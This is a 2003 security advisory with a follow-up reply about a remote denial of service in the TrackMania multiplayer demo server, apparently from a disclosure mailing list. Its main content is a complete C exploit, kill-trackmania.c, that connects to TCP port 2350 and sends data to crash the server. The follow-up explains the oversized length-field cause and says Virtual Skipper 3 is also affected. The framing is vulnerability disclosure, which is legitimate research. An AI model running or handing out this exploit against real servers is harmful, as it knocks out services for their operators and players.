TrackMania Demo Denial of Service

[scrap]

TrackMania Demo Denial of Service
The original document can be found at
http://www.securiteinfo.com/attaques/hacking/trackmaniados.shtml


..oO Overview Oo.
TrackMania Demo Denial of Service
Discovered on 2003, November, 30th
Vendor: TrackMania Official website http://www.trackmania.com

TrackMania is a "Stunt Car Racer" like game. The multiplayer demo of this game
is subject to denial of service.


..oO Details Oo.
The multiplayer game use TCP port 2350 to communicate. If you send some
garbage to this port, it will shutdown the game server.


..oO Exploit Oo.
Here is the proof of concept :

/*
* [kill-trackmania.c]
* A remote DoS that affects the Trackmania game server
*
* by Scrap
* webmaster@securiteinfo.com
* http://www.securiteinfo.com
*
* gcc kill-trackmania.c -o kill-trackmania -O2
*
*/

#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>

int main(int argc, char *argv[])
{
int sock;
struct sockaddr_in sin;
struct hostent *he;
unsigned long start;
char buffer[1024];
unsigned long counter;

printf("\n [kill-trackmania.c] by Scrap / Securiteinfo.com\n");

if (argc<2)

{
printf("Usage: %s target\n\n",argv[0]);
exit(0);
}

if ((he=gethostbyname(argv[1])) == NULL)
{
herror("gethostbyname");
exit(0);
}

start=inet_addr(argv[1]);
counter=ntohl(start);

sock=socket(AF_INET, SOCK_STREAM, 0);
bcopy(he->h_addr, (char *)&sin.sin_addr, he->h_length);
sin.sin_family=AF_INET;
sin.sin_port=htons(2350);

if (connect(sock, (struct sockaddr*)&sin, sizeof(sin))!=0)
{
perror("connect");
exit(0);
}
printf("\n\t Sending Bomb... \n");
send(sock, "Bomb from Securiteinfo.com\n\n",17,0);
close(sock);

printf("\t Bomb sent...\n");

}

Download kill-trackmania.c at
http://www.securiteinfo.com/download/kill-trackmania.c


..oO Solution Oo.
The vendor has been informed and has not solved the problem.


..oO Discovered by Oo.
Arnaud Jacques aka scrap
webmaster@securiteinfo.com
http://www.securiteinfo.com

[Luigi Auriemma]

> TrackMania Demo Denial of Service
> The original document can be found at
> http://www.securiteinfo.com/attaques/hacking/trackmaniados.shtml

Also Virtual Skipper 3 is vulnerable so the problem is in the game engine
developed by Nadeo (http://www.nadeo.com)


> The multiplayer game use TCP port 2350 to communicate. If you send some
> garbage to this port, it will shutdown the game server.

Not exactly garbage data but too long values, in fact the game uses 32bit
numbers to specify the size of the data that follows so this seems the cause
of the server crash.
Another simple test is the modification of the 32bit values in the UDP query
packets used to define the length of some strings.


> The multiplayer demo of this game
> is subject to denial of service.

Due the type of bug probably also the retail version is vulnerable.
Who bet?


BYEZ


---
Luigi Auriemma
http://aluigi.altervista.org